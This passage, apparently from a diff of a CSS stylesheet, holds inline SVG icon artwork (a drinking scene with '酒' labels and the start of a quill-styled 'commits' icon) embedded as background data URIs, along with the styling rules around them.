		<path d="m8.3432 122.65-19.182-5.2917-4.2333-12.568 5.6886-10.848s8.8635-8.0698 9.3927-8.2021c0.52917-0.1323 8.9958-5.9531 8.9958-5.9531l-0.26459-10.186-5.1594-6.2177-6.8792-6.4823 16.536 0.1323 9.9219 7.1438 7.8052 10.054-0.79375 8.599s6.0854 10.054 6.7469 10.583c0.66146 0.52917 9.525 8.599 9.525 8.599l1.4552 11.509-3.9688 7.0114-16.536 3.5719z" fill="#d5e5ff" fill-opacity=".90909" filter="url(#c)"/>
		<path d="m5.962 120.53c-4.9382-3.3576-12.704-5.3674-11.966-12.908 0.26576-5.4986 1.5169-11.528 4.737-15.99 5.1278-4.271 11.073-9.0343 12.261-15.994 0.70298-5.7848-4.3775-10.907-4.747-15.813 6.9739 2.9701 12.937 7.8763 18.316 13.02 0.39636 7.4565 3.2598 14.078 8.298 19.913 3.8107 5.4519 9.9338 10.688 7.0539 18.059 0.0663 7.8466-7.9657 10.079-14.322 11.452-6.5279 0.6897-13.122-1.2368-19.631-1.7402z" fill="#acf" fill-opacity=".90909" filter="url(#d)"/>
		<g>
			<path d="m37.019 119.71c-0.68356-0.47267-1.6261-0.70767-1.9523-1.5603-0.53533-0.71996-0.35788-1.563-0.0318-2.3074 0.0992-0.48062-0.39619-1.7199 0.54128-1.3174 0.21699 0.75046 1.1005 0.45469 1.6507 0.71108 1.1495 0.42033 1.8096 1.6501 1.9002 2.8116-0.16318 0.6522-0.92259 0.78629-1.377 1.1783-0.24305 0.16235-0.48601 0.32498-0.73111 0.48415z" fill="#540"/>
			<text transform="rotate(-34.28)" x="-35.67601" y="118.45064" fill="#ff9955" font-family="'Liberation Sans'" font-size="2.1167px" letter-spacing="0px" stroke-width=".26458" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-35.67601" y="118.45064" fill="#ff9955" font-family="'Source Han Sans TW'" stroke-width=".26458">酒</tspan></text>
			<path d="m39.053 117.75-0.5212 0.5402-0.59006 0.44487-0.57732 0.37114-0.43256 0.30525-0.32634 0.055 0.42502 0.23266 0.78533-0.52426 0.67058-0.40693 0.45105-0.3373 0.18688-0.35322z" fill="#f95"/>
			<path d="m42.578 120.76c0.80861 0.19184 1.7721 0.0682 2.3859 0.7439 0.76043 0.47612 0.90156 1.326 0.86843 2.138 0.0823 0.48381 0.99427 1.4582-0.0254 1.4241-0.47494-0.62025-1.1905-0.0235-1.7962-0.0624-1.2237 0.0263-2.2857-0.8794-2.7923-1.9285-0.0851-0.6669 0.57365-1.0679 0.85446-1.5982 0.16741-0.23959 0.33463-0.47941 0.5051-0.71679z" fill="#540"/>
			<text transform="rotate(124.4)" x="76.738937" y="-104.68004" fill="#ff9955" font-family="'Liberation Sans'" font-size="2.1167px" letter-spacing="0px" stroke-width=".26458" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="76.738937" y="-104.68004" fill="#ff9955" font-family="'Source Han Sans TW'" stroke-width=".26458">酒</tspan></text>
			<path d="m41.397 123.33 0.28917-0.69271 0.38798-0.62894 0.40291-0.5556 0.29201-0.44161 0.28403-0.16983-0.48051-0.0622-0.54103 0.77386-0.47679 0.62286-0.29758 0.47819-0.0457 0.39698z" fill="#f95"/>
			<path d="m33.379 122.05 1.5875-0.23151 0.39688-0.42995 1.4552-0.72761 0.76068-1.6536 0.82682 0.69453 0.66146 1.2237 1.3229 1.0583 0.66146 0.62839 0.62838-0.0992 1.2237 0.16536 0.92604-0.3638-0.33073-0.19844-1.819-0.42995-1.9844-2.1167-1.5214-2.3482-0.59531-0.3638-0.52916 0.46302-1.3891 1.5875z" fill="#251304"/>
			<path d="m27.584 116.1c0.33522-0.56151 0.51729-1.2609 0.95616-1.7291 0.96476-0.30127 1.5831-1.0475 0.75068-1.8306-0.4499-1.3865 1.1241-2.3436 2.3533-2.2356 0.87173 0.13416 1.6986 0.62515 1.7912 1.5902 0.0481 0.50154 0.97185 0.85501 1.5259 1.0309 0.11255 0.0357 0.17916-0.0996 0.25651-0.0746 0.17301 0.52942-0.20986 0.92004-0.30165 1.1072-0.0508 0.10355-0.199 0.15888-0.33042 0.10886-0.42492-0.16176-0.76344-0.25922-1.3445-0.41326-0.15914 0.43205 0.68763 0.63311 0.87176 0.82058 0.13366 0.13609-0.21483 0.37454-0.90636 0.15839-1.5897-0.49265 0.4943 1.0378 0.78587 1.4958 1.228-0.15981 3.0206-1.0725 4.0898-1.968 0.27642-0.38242 0.90888-0.60176 0.71497-0.38282-0.0509 0.0575-0.0281 0.0254-0.23864 0.17058-0.63724 0.41414 0.76233-0.24001 0.57357 8e-3 -0.0391 0.0514-0.1462 0.14144-0.35354 0.28765-1.2452 0.72646-0.22523 0.17743 0.56665-0.16617-0.43886 0.4604-0.7707 0.7965 0.26961 0.23221-0.36274 0.57925-0.0531-0.0813-0.31672 0.40629 1.6395-0.0384-0.88779 0.4896-1.2511 0.91612-1.3176 0.70318-2.6456 1.3867-3.9657 2.0852-0.62927-0.39836-2.0181-1.6033-2.1555-1.4793 0.93438 0.68572 3.3358 0.97048 2.818 2.1253 0.85672-0.6116 1.9971-2.975 2.9892-1.3378 0.72596 1.5333 1.1207 3.265 2.0751 4.666 0.74642 0.29979 1.9045 2.4008 0.35335 1.6102-1.0325-0.88099-2.7685-0.91835-2.579-2.6845-0.77832-0.12607-0.55613-2.0259-0.84603-1.8447 0.22639 1.2644-0.93242 2.1895-1.7881 2.8824-1.1315 0.3848-2.4794 0.81777-3.6338 0.33449-0.97934-0.65298-1.3379-1.8824-2.279-2.5923-0.93499-0.84922-1.0051-2.1872-1.4515-3.2981z" fill="#3d260b"/>
		</g>
		<path d="m0.26207 119.94c1.4743-1.748 11.758 1.7854 15.985 0.1803 0.54537-2.1959 2.4062-4.3961 0.8798-6.6047-1.1115-5.8308-7.2007-5.1939-11.128-3.9725 1.8031-2.6176 10.394-3.0535 5.3825-7.1858-0.59671-2.2958-1.4426-5.2692-3.8434-2.3709-5.2356 1.138 3.0935-2.806 2.2094-5.0467-1.0771-4.3397 4.2627-8.6731-0.75649-11.479-3.195-2.8173 0.26656-0.66666 1.9433 0.15194 2.6721 2.7578 4.8655-1.903 5.284-4.135 0.66027-2.0136-1.8598-7.2318-1.6457-6.6483 4.0797 2.8695 2.9893 9.0669 1.625 13.032-1.6004 2.2003-1.3115 6.2935 1.7806 3.1054 1.9921-1.681 11.225-2.1801 5.0368-0.35543-0.29342 0.10184-3.519 1.039-3.5528 1.8598-0.0406 0.98714 3.1158 1.8894 2.6959 2.0759-1.3888 0.61697-2.6488-2.1287-5.1386-0.65702-1.5352 0.90738-1.7844 2.8464-0.55951 4.7416 1.088 5.1049 6.2418-1.7282 9.9622 0.81357 2.3048 0.70826 8.6775 3.2974 2.8722 1.8798-3.4432-0.83674-10.372 1.1357-8.4466 5.6704 4.2594 3.5853 6.7369 8.8162 7.6383 14.246 1.0393 4.9056 7.1398 1.7896 10.832 3.4424 1.0721 1.5739 10.758 2.4892 5.5233 2.7756l-18.387 0.0935h-6.8287l-46.243 0.13229c-0.0473-0.70985 7.4149-2.4971 11.268-3.2306 2.4981-0.47557 5.481-0.78677 8.167-1.0615 2.422-0.24772 2.7504 0.46025 4.1165 0.17805 0.94076-0.19435 1.9441-1.4387 3.3282-1.6309z" fill="#28170b"/>
		<path d="m14.495 71.651c-0.91908-1.1308-1.0071-2.9638 0.0998-4.0053 0.34167-0.71149 1.8765-1.6671 1.7567-0.22157-0.01288 1.631-1.3398 2.779-1.8565 4.2269z" fill="#217821"/>
		<path d="m25.429 87.104c-0.91908-1.1308-1.0071-2.9638 0.0998-4.0053 0.34167-0.71149 1.8765-1.6671 1.7567-0.22158-0.01291 1.631-1.3398 2.779-1.8565 4.2269z" fill="#217821"/>
		<path d="m6.6822 82.531c0.48384 1.3745-0.0515 3.1298-1.4448 3.7369-0.56162 0.55457-2.3288 0.93652-1.7286-0.38392 0.56225-1.5311 2.1986-2.1643 3.1734-3.353z" fill="#17280b"/>
		<path d="m31.732 100.49c0.48384 1.3745-0.0515 3.1298-1.4448 3.737-0.56162 0.55457-2.3288 0.93652-1.7286-0.38392 0.56225-1.5311 2.1986-2.1643 3.1734-3.353z" fill="#050"/>
		<path d="m5.7365 110.48c0.48384 1.3745-0.0515 3.1298-1.4448 3.737-0.56162 0.55457-2.3288 0.93652-1.7285-0.38392 0.56225-1.5311 2.1986-2.1643 3.1734-3.353z" fill="#217821"/>
		<path d="m5.2025 100.1c-0.93745 1.1156-2.7211 1.5474-3.9524 0.65643-0.76312-0.20153-1.9907-1.5288-0.54852-1.6836 1.6043-0.29455 2.9817 0.79241 4.5009 1.0271z" fill="#008000"/>
		<path d="m32.863 99.33c1.2474 0.75338 3.0749 0.58637 3.9527-0.65431 0.65724-0.43704 1.3907-2.0895-0.02421-1.7705-1.6135 0.23897-2.5664 1.7123-3.9285 2.4248z" fill="#165016"/>
		<path d="m5.1072 109.26c-0.93745 1.1156-2.7211 1.5474-3.9524 0.65643-0.76312-0.20153-1.9907-1.5288-0.54852-1.6836 1.6043-0.29455 2.9817 0.79241 4.5009 1.0271z" fill="#2ca02c"/>
		<path d="m13.64 72.349c-0.93745 1.1156-2.7211 1.5474-3.9524 0.65644-0.76312-0.20154-1.9907-1.5289-0.54852-1.6836 1.6043-0.29455 2.9817 0.79241 4.5009 1.0271z" fill="#002b00"/>
		<path d="m6.0994 81.344c-0.93745 1.1156-2.7211 1.5474-3.9524 0.65643-0.76312-0.20153-1.9907-1.5288-0.54852-1.6836 1.6043-0.29455 2.9817 0.79241 4.5009 1.0271z" fill="#0b280b"/>
		<path d="m13.295 71.562c-1.4344-0.25702-2.6973-1.5884-2.5382-3.0999-0.20544-0.76208 0.33386-2.4877 1.1865-1.3144 1.0546 1.2442 0.79837 2.9801 1.3517 4.4143z" fill="#052"/>
		<path d="m5.1206 99.255c-1.4344-0.25703-2.6973-1.5884-2.5382-3.0999-0.20544-0.76208 0.33386-2.4877 1.1865-1.3143 1.0546 1.2443 0.79837 2.9801 1.3517 4.4143z" fill="#050"/>
		<path d="m31.777 98.66c-1.4344-0.25702-2.6973-1.5884-2.5382-3.0999-0.20544-0.76208 0.33386-2.4877 1.1865-1.3143 1.0546 1.2442 0.79837 2.9801 1.3517 4.4143z" fill="#217821"/>
		<path d="m5.5175 108.45c-1.4344-0.25703-2.6973-1.5884-2.5382-3.1-0.20544-0.76208 0.33386-2.4877 1.1865-1.3144 1.0546 1.2443 0.79837 2.9801 1.3517 4.4143z" fill="#165016"/>
		<path d="m25.906 88.123c1.3628-0.51586 3.1302-0.0217 3.7697 1.357 0.56756 0.54849 0.99074 2.3062-0.34338 1.7371-1.5438-0.52628-2.2151-2.1474-3.4263-3.0941z"/>
		<path d="m15.418 72c1.3628-0.51586 3.1302-0.0217 3.7697 1.357 0.56756 0.54849 0.99074 2.3062-0.34338 1.7371-1.5438-0.52629-2.2151-2.1474-3.4263-3.0941z" fill="#008000"/>
		<path d="m7.1191 81.029c0.2185-1.4407 1.5156-2.7389 3.0308-2.6204 0.7563-0.22579 2.4958 0.26708 1.3457 1.1509-1.2155 1.0876-2.9576 0.87793-4.3765 1.4695z" fill="#165016"/>
		<path d="m8.5265 109.73c1.3628-0.51585 3.1302-0.0217 3.7697 1.357 0.56756 0.5485 0.99074 2.3062-0.34338 1.7371-1.5438-0.52628-2.2151-2.1474-3.4263-3.0941z" fill="#3e4837"/>
		<path d="m18.255 78.022c1.3628-0.51585 3.1302-0.0217 3.7697 1.357 0.56756 0.5485 0.99074 2.3062-0.34338 1.7371-1.5438-0.52628-2.2151-2.1474-3.4263-3.0941z" fill="#165016"/>
		<path d="m32.474 100.57c1.3628-0.51586 3.1302-0.0217 3.7697 1.357 0.56756 0.54849 0.99074 2.3062-0.34338 1.7371-1.5438-0.52629-2.2151-2.1474-3.4263-3.0941z" fill="#0b280b"/>
		<path d="m21.684 93.101c-0.41892-0.1706-0.98589-0.43723-1.3517-0.01781-0.63801 0.66699 0.34672 2.6717 1.121 3.0499 0.46457 0.20154 0.63169 0.16634 1.0937 0.0259 0.56313 0.02011 0.82383 0.17478 1.3432-0.24184 0.4568-0.33148 0.5343-1.5696 0.37584-2.0413-0.17388-0.50123-0.54829-0.99034-1.1139-1.0464-0.38867-0.15491-0.7154 0.0862-0.99488 0.25485 0.0692-0.58032-0.46129 0.0381-0.41227 0.23935-0.0439-0.066-0.0579-0.14535-0.061-0.22267z" fill="#800000"/>
		<path d="m6.9037 122.93 11.319-0.8419 1.6838-3.6482-0.0935-5.0514-3.3676-4.3966 4.5837 3.7418 0.65482 3.6482 0.65481 2.8063 1.1225-5.8933-6.5481-11.225-1.5902-5.1449 3.7418 6.6416 5.8933 9.6351 1.4967 7.4836 3.9289 3.3676 7.2029 0.37417-0.0935 1.029-11.974-0.93544-4.4901-4.2095-2.8999 3.3676z" fill="#483737" fill-opacity=".90909" filter="url(#a)"/>
		<path d="m20.977 93.048-0.47942 0.0234-0.1637 0.37417-0.0819 0.40926 0.0585 0.39756 0.22217 0.36249 0.12863 0.11693-0.16371-0.47942 0.0936-0.47941s0.12862-0.31572 0.15201-0.36249c0.0234-0.0468 0.56126-0.25725 0.56126-0.25725z" fill="#71c837" filter="url(#f)"/>
		<path d="m22.08 95.413-0.23386-0.53788 0.14032-0.58465 0.45603-0.35079 0.0234 0.58465 0.17539 0.56127 0.44434 0.36248 0.40926 0.12862-0.19879 0.0818-0.68989-0.0935z" fill="#acca4a" fill-opacity=".38017" filter="url(#e)"/>
		<g transform="translate(-222.37 19.192)">
			<path d="m258.92 103c-2.3847-2.8272-4.7694-5.6544-7.1541-8.4816-0.70962-0.67298-1.3685-0.38476-2.043-0.58072-0.80147-0.05731-1.0652-0.57056-1.5835-1.1204-0.64401-0.54486-0.1263-1.1031 0.1055-1.5958-1.0151 0.11192-2.0285 0.28508-3.043 0.42054-0.1762-0.24539-0.43563-0.48641-0.30018-0.58737 2.2422-0.27813 4.7241-0.5903 6.6967-0.82583l0.68384 0.45441-3.3189 0.44252c-0.11156 0.44795-0.82315 0.96211-0.38204 1.3497 0.45573 0.49685 0.91344 1.0316 1.6553 1.0047 0.80696 0.03471 1.5867 0.14854 2.1135 0.88962 2.3866 2.761 4.7733 5.5742 7.16 8.3352-0.19667 0.0983-0.39335 0.19667-0.59003 0.29501z" fill="#4d4d4d"/>
			<path d="m251.71 90.561 0.81487-1.3038-0.36506 0.02608-0.78227 1.3299z" fill="#666"/>
			<path d="m252.54 89.273-0.0391-0.26076h-0.36506l0.0326 0.2738c0.15668-0.0054 0.26083-0.01304 0.37158-0.01304z" fill="#808080"/>
			<path d="m252.14 89.01-0.88005 1.4602 0.12386 0.14342 0.78879-1.3364z" fill="#b3b3b3"/>
			<path d="m250.58 90.707 0.81486-1.3038-0.36506 0.02608-0.78227 1.3299z" fill="#666"/>
			<path d="m251.4 89.421-0.0391-0.26076h-0.36506l0.0326 0.2738c0.15669-0.0054 0.26084-0.01304 0.37159-0.01304z" fill="#808080"/>
			<path d="m251 89.154-0.88005 1.4602 0.12385 0.14342 0.78879-1.3364z" fill="#b3b3b3"/>
			<path d="m249.45 90.869 0.81487-1.3038-0.36506 0.02608-0.78227 1.3299z" fill="#666"/>
			<path d="m250.27 89.59-0.0391-0.26076h-0.36506l0.0326 0.2738c0.15668-0.0054 0.26084-0.01304 0.37158-0.01304z" fill="#808080"/>
			<path d="m249.87 89.316-0.88006 1.4602 0.12386 0.14342 0.78879-1.3364z" fill="#b3b3b3"/>
			<path d="m248.17 91.08 0.81487-1.3038-0.36506 0.02608-0.78227 1.3299z" fill="#666"/>
			<path d="m248.99 89.801-0.0391-0.26076h-0.36506l0.0326 0.2738c0.15668-0.0054 0.26083-0.01304 0.37157-0.01304z" fill="#808080"/>
			<path d="m248.59 89.525-0.88005 1.4602 0.12385 0.14342 0.78879-1.3364z" fill="#b3b3b3"/>
			<path d="m246.93 91.232 0.81486-1.3038-0.36506 0.02608-0.78227 1.3299z" fill="#666"/>
			<path d="m247.75 89.949-0.0391-0.26076h-0.36507l0.0326 0.2738c0.15668-0.0054 0.26084-0.01304 0.37158-0.01304z" fill="#808080"/>
			<path d="m247.36 89.681-0.88005 1.4602 0.12386 0.14342 0.78879-1.3364z" fill="#b3b3b3"/>
			<path d="m245.73 91.391 0.81487-1.3038-0.36507 0.02608-0.78227 1.3299z" fill="#666"/>
			<path d="m246.55 90.101-0.0391-0.26076h-0.36506l0.0326 0.2738c0.15668-0.0054 0.26084-0.01304 0.37158-0.01304z" fill="#808080"/>
			<path d="m246.16 89.838-0.88006 1.4602 0.12386 0.14342 0.78879-1.3364z" fill="#b3b3b3"/>
			<path d="m252.25 90.674-0.13038 0.16949-6.9622 0.93873-0.31291-0.49544 0.0337-0.21927s2e-3 0.02179 0.33134 0.55826c1.7371-0.2458 7.0404-0.95176 7.0404-0.95176z" fill="#333"/>
		</g>
		<g>
			<ellipse cx="32.371" cy="112.07" rx=".09036" ry=".14056" fill="#fff"/>
			<path d="m37.914 113.32c0.94324 0.67819 1.8865 1.3564 2.8297 2.0346 0.15934 0.011 0.33646 0.0974 0.46348-0.0479 0.22093-0.0853 0.42497 0.0908 0.60124 0.20045 0.21756 0.049 0.13236 0.2877 0.01 0.39888-0.12766 0.12426-0.29655 0.1921-0.46057 0.25392-0.30059-0.0124-0.66245 0.0121-0.87531-0.2441-0.35038-0.24254-0.35568-0.76369-0.73868-0.9756-0.6836-0.47769-1.3423-0.98955-2.0167-1.4799 0.0624-0.0467 0.12473-0.0935 0.18709-0.14032z" fill="#4d4d4d"/>
			<path d="m29.642 111.21 0.13229-0.8599 0.72761-0.3638 0.26458 0.13229 0.39688 0.69453 0.66145 0.46303-0.13229 0.19843-0.69453 0.42995-0.76068 0.26458-0.26458-0.42994z" fill="#4a3f23"/>
			<path d="m41.539 115.02 0.21048-0.56127-0.44434-0.39756-0.0702-0.44434 0.37418-0.65481 0.0702-0.58465s-0.02339-0.39756-0.0468-0.49111c-0.02339-0.0935-0.16371-0.65481-0.16371-0.65481l0.11693-1.0758 0.37418-0.60804-0.21047 0.49111-0.0468 0.42095 0.14032 0.60804-0.0935 0.39756-0.0468 0.35079 0.0935 0.77174-0.11693 0.70159-0.18709 0.30402 0.21047 0.67819 0.16371 0.25725z" fill="#ccc"/>
			<path d="m13.116 120.49c-0.80714 0.19799-1.6082 0.74741-2.4626 0.42589-0.89387-0.077-1.407-0.76899-1.7478-1.5068-0.29385-0.39306-1.5498-0.84438-0.62681-1.279 0.70551 0.33545 1.0703-0.52193 1.6271-0.76354 1.0771-0.58136 2.4352-0.25959 3.3645 0.44313 0.37983 0.55473-0.0236 1.212-0.0317 1.812-0.0397 0.28958-0.0792 0.57926-0.12268 0.86825z" fill="#540"/>
			<text transform="rotate(-82.724)" x="-116.69983" y="26.95244" fill="#ff9955" font-family="'Liberation Sans'" font-size="2.1167px" letter-spacing="0px" stroke-width=".26458" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-116.69983" y="26.95244" fill="#ff9955" font-family="'Source Han Sans TW'" stroke-width=".26458">酒</tspan></text>
			<path d="m12.996 117.67 0.0585 0.74836-0.0585 0.73666-0.10524 0.6782-0.0585 0.52618-0.17539 0.28064 0.45603-0.16371 0.12862-0.93544 0.14032-0.77174 0.0468-0.56127-0.14032-0.37417z" fill="#f95"/>
		</g>
		<path d="m29.378 113.92-0.46302 0.38034-0.38034 0.0496s-0.19843 0.3638-0.26458 0.44648c-0.0661 0.0827-0.52917 1.141-0.52917 1.141l0.61185 2.497 0.3142 0.59532 0.57877 0.59531 0.39688 0.33073 0.81028 1.1906 0.59532 0.64493 0.51263 0.33072 0.79375 0.0331 0.69453 0.0496 0.77721-0.16537 0.81029-0.13229-1.3229-0.14883-1.0253-0.24804-0.67799-0.41342-0.678-0.81028-0.62838-0.23151-0.46303-0.678-0.28112-0.87643 0.21498-1.3725 1.7529 0.24805-2.2986-1.2072-0.52917-0.89297 0.41341-0.94258z" fill-opacity=".38017"/>
		<g>
			<path d="m-5.7855 119.21c0.6535-0.51342 1.1564-1.3445 2.0674-1.4042 0.84598-0.29875 1.5989 0.11982 2.2138 0.65122 0.42986 0.23677 1.7601 0.12956 1.0987 0.90632-0.78107-0.0144-0.75951 0.91709-1.167 1.367-0.74116 0.97403-2.111 1.2414-3.2475 0.9848-0.57488-0.34857-0.47865-1.1137-0.7189-1.6636-0.0833-0.28016-0.1669-0.56032-0.24656-0.8415z" fill="#540"/>
			<text transform="rotate(72.903)" x="113.4046" y="39.260227" fill="#ff9955" font-family="'Liberation Sans'" font-size="2.1167px" letter-spacing="0px" stroke-width=".26458" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="113.4046" y="39.260227" fill="#ff9955" font-family="'Source Han Sans TW'" stroke-width=".26458">酒</tspan></text>
			<path d="m-4.5099 121.74-0.36212-0.65752-0.25071-0.69515-0.18402-0.66119-0.16385-0.50343 0.0439-0.32801-0.34783 0.33732 0.26886 0.90515 0.19067 0.76087 0.189 0.53056 0.28225 0.28288z" fill="#f95"/>
		</g>
	</g>
</svg>");
+        width:0px;
+        height:0px;
+        padding:0.8em;
+        vertical-align:middle;
+	margin-right: 0.5em;
+	margin-bottom: 0.1em;
+        background-repeat: no-repeat;
+        color: rgba(0, 0, 0, 0) !important;
+}
+
+img.commits {
+	display: inline-block;
+        background: url("data:image/svg+xml;base64,<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.1" viewBox="0 0 57.252636 43.85009" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
	<defs>
		<filter id="c" x="-.18381" y="-.59375" width="1.3676" height="2.1875" color-interpolation-filters="sRGB">
			<feGaussianBlur stdDeviation="1.0683927"/>
		</filter>
		<filter id="d" x="-.15436" y="-.075067" width="1.3087" height="1.1501" color-interpolation-filters="sRGB">
			<feGaussianBlur stdDeviation="1.0683927"/>
		</filter>
		<filter id="e" x="-.08899" y="-.086209" width="1.178" height="1.1724" color-interpolation-filters="sRGB">
			<feGaussianBlur stdDeviation="1.0683927"/>
		</filter>
		<linearGradient id="a" x1="443.33" x2="443.59" y1="330.42" y2="327.47" gradientTransform="translate(-375.43 -212.1)" gradientUnits="userSpaceOnUse">
			<stop stop-color="#333" offset="0"/>
			<stop stop-color="#ececec" offset="1"/>
		</linearGradient>
		<linearGradient id="b" x1="125.95" x2="133.63" y1="126.5" y2="117.56" gradientTransform="matrix(3.1931 0 0 3.1931 -361.4 -257.05)" gradientUnits="userSpaceOnUse">
			<stop stop-color="#fff" offset="0"/>
			<stop stop-color="#ccc" offset=".18949"/>
			<stop stop-color="#d2d2d2" offset=".43509"/>
			<stop stop-color="#808080" offset=".67651"/>
			<stop stop-color="#a6a6a6" offset=".86209"/>
			<stop stop-color="#666" offset="1"/>
		</linearGradient>
		<filter id="f" x="-.064981" y="-.087012" width="1.13" height="1.174" color-interpolation-filters="sRGB">
			<feGaussianBlur stdDeviation="1.3541291"/>
		</filter>
	</defs>
	<g transform="translate(-22.778 -114.06)">
		<path d="m27.791 140.06c-0.57326 0.70556-1.1465 0.99016-1.7198 1.6957 8.8635 4.6743 15.997 8.2261 24.86 12.9 1.2685-2.3848 3.7366-5.2444 4.9276-7.654 0.29661-2.1944 1.1201-2.3726 1.4962-4.5411 0.39974-0.70163 0.60931-2.2943 1.004-2.9996 1.8225-3.257 3.7905-5.6555 5.6423-8.8816 0.66773-0.58853 0.94954-1.3769 1.5974-1.987 2.6218-2.4689 5.4841-4.8941 8.0766-7.3832 1.0212-0.5957 2.0424-1.1914 3.0636-1.7871-1.6316-0.70555-3.2632-1.4111-4.8948-2.1167-14.684 7.5847-29.369 15.169-44.053 22.754z" filter="url(#f)" stroke="#000" stroke-width=".26458px"/>
		<g>
			<path d="m24.689 138.67c4.8756-3.7878 7.5366-9.6567 11.492-11.02 5.369-1.1872 11.928 0.25034 15.921-4.4645 3.0617-3.6817 4.7956-5.5916 9.524-5.7648 2.604 0.28834 8.142 1.1588 13.518 2.3314-5.567 0.32055-9.1252 8.3658-12.836 11.114-12.067 9.0235-5.0182 15.592-11.725 21.899-4.897-2.6623-21.02-11.39-25.894-14.095z" fill="url(#b)"/>
			<path d="m61.547 117.56c-0.75856-1.0165-0.45282-2.8648 1.1687-3.1195l12.493 1.2241-1.1647 0.73144-0.26343 1.5374 1.0672 1.7948c-4.8511-1.0066-8.8248-1.5577-13.301-2.1683z" fill="url(#a)"/>
			<ellipse cx="75.014" cy="117.71" rx="1.4301" ry="2.0593"/>
		</g>
		<g fill="none">
			<g stroke="#000">
				<path d="m61.029 118.07 10.087 1.6536" stroke-width=".13"/>
				<path d="m59.144 118.7 10.352 1.8852" stroke-width=".14"/>
				<path d="m57.424 119.59 10.881 2.0505" stroke-width=".15"/>
				<path d="m56.035 120.68 10.815 2.3482" stroke-width=".16"/>
				<path d="m54.91 122.07 10.616 2.5797" stroke-width=".17"/>
				<path d="m53.687 123.72 10.418 2.7451" stroke-width=".18"/>
				<path d="m52.232 125.21 10.319 2.8773" stroke-width=".19"/>
				<path d="m50.016 126.7 10.517 3.2411" stroke-width=".2"/>
				<path d="m47.105 127.76 11.377 3.9357" stroke-width=".21"/>
				<path d="m43.335 128.42 13.13 4.8948" stroke-width=".22"/>
				<path d="m39.432 128.75 15.544 6.4823" stroke-width=".23"/>
				<path d="m35.596 130.07 17.595 8.0036" stroke-width=".24"/>
				<path d="m33.479 132.98 18.256 8.9958" stroke-width=".25"/>
				<path d="m31.098 135.56 19.381 10.253l0.0661 0.0662" stroke-width=".26"/>
				<path d="m28.254 138.8 19.711 10.848" stroke-width=".27"/>
				<g stroke-width=".11">
					<path d="m61.956 117.12 11.132 1.6136"/>
					<path d="m61.815 116.2 11.179 1.4499"/>
					<path d="m61.909 115.31 11.272 1.3096"/>
					<path d="m62.704 114.68 10.991 1.1927"/>
				</g>
			</g>
			<path d="m74.982 119.58c0.76118-0.12674 1.2853-0.91526 1.2125-1.6646-0.0536-0.43634-0.16227-0.8714-0.34434-1.2725-0.15453-0.30475-0.38059-0.6312-0.73067-0.71849-0.52648-0.0351-0.96048 0.4077-1.1105 0.88123-0.1171 0.37496-0.10881 0.77678-0.0986 1.1654 0.0288 0.48637 0.23046 1.0284 0.69443 1.2525 0.27411 0.13204 0.60529 0.0403 0.81222-0.17165 0.32162-0.29585 0.46987-0.75626 0.39657-1.1852-0.0582-0.46989-0.0765-0.99777-0.41484-1.3653-0.13701-0.18315-0.37735-0.19521-0.56752-0.0921-0.43871 0.20691-0.61856 0.72025-0.64627 1.1745 0.01191 0.23856-0.0454 0.48601 0.0546 0.71356 0.12224 0.28741 0.36011 0.59637 0.69756 0.61201 0.31959-5e-3 0.46461-0.35659 0.53624-0.61912 0.14603-0.46904 0.14788-1.0602-0.23195-1.4223-0.14489-0.22407-0.43259-0.0354-0.5364 0.13177-0.25912 0.35641-0.3074 0.86217-0.12479 1.2619 0.0893 0.22924 0.42324 0.30254 0.55226 0.0672 0.18231-0.2819 0.27188-0.66631 0.12456-0.98146-0.20776-0.2405-0.46889 0.047-0.44555 0.29051-0.0854 0.24063 0.16792 0.47739 0.25546 0.15064 0.01921-0.0371 0.0296-0.0798 0.0564-0.11267" stroke="#6a676a" stroke-width=".1"/>
		</g>
		<g fill="#000000" font-family="'Open Sans'" letter-spacing="0px" stroke="#000000" stroke-width="1.2" text-anchor="middle" word-spacing="0px">
			<text transform="matrix(.19935 .10478 -.10478 .19935 -9.1339 25.063)" x="395.47455" y="372.30963" filter="url(#e)" font-size="61.406px" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="395.47455" y="372.30963" fill="#000000" stroke="#000000" stroke-width="1.2">+</tspan></text>
			<text transform="matrix(.19935 .10478 -.10478 .19935 -9.1339 25.063)" x="408.48557" y="368.45087" filter="url(#d)" font-size="47.849px" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="408.48557" y="368.45087" fill="#000000" stroke="#000000" stroke-width="1.2">/</tspan></text>
			<text transform="matrix(.19935 .10478 -.10478 .19935 -9.1339 25.063)" x="416.21753" y="366.38565" filter="url(#c)" font-size="58.187px" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="416.21753" y="366.38565" fill="#000000" stroke="#000000" stroke-width="1.2">-</tspan></text>
		</g>
		<g>
			<g font-family="'Open Sans'" letter-spacing="0px" text-anchor="middle" word-spacing="0px">
				<text transform="rotate(27.728)" x="92.575607" y="110.1842" fill="#ff0000" font-size="13.829px" stroke-width="1.7286" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="92.575607" y="110.1842" fill="#ff0000" stroke-width="1.7286">+</tspan></text>
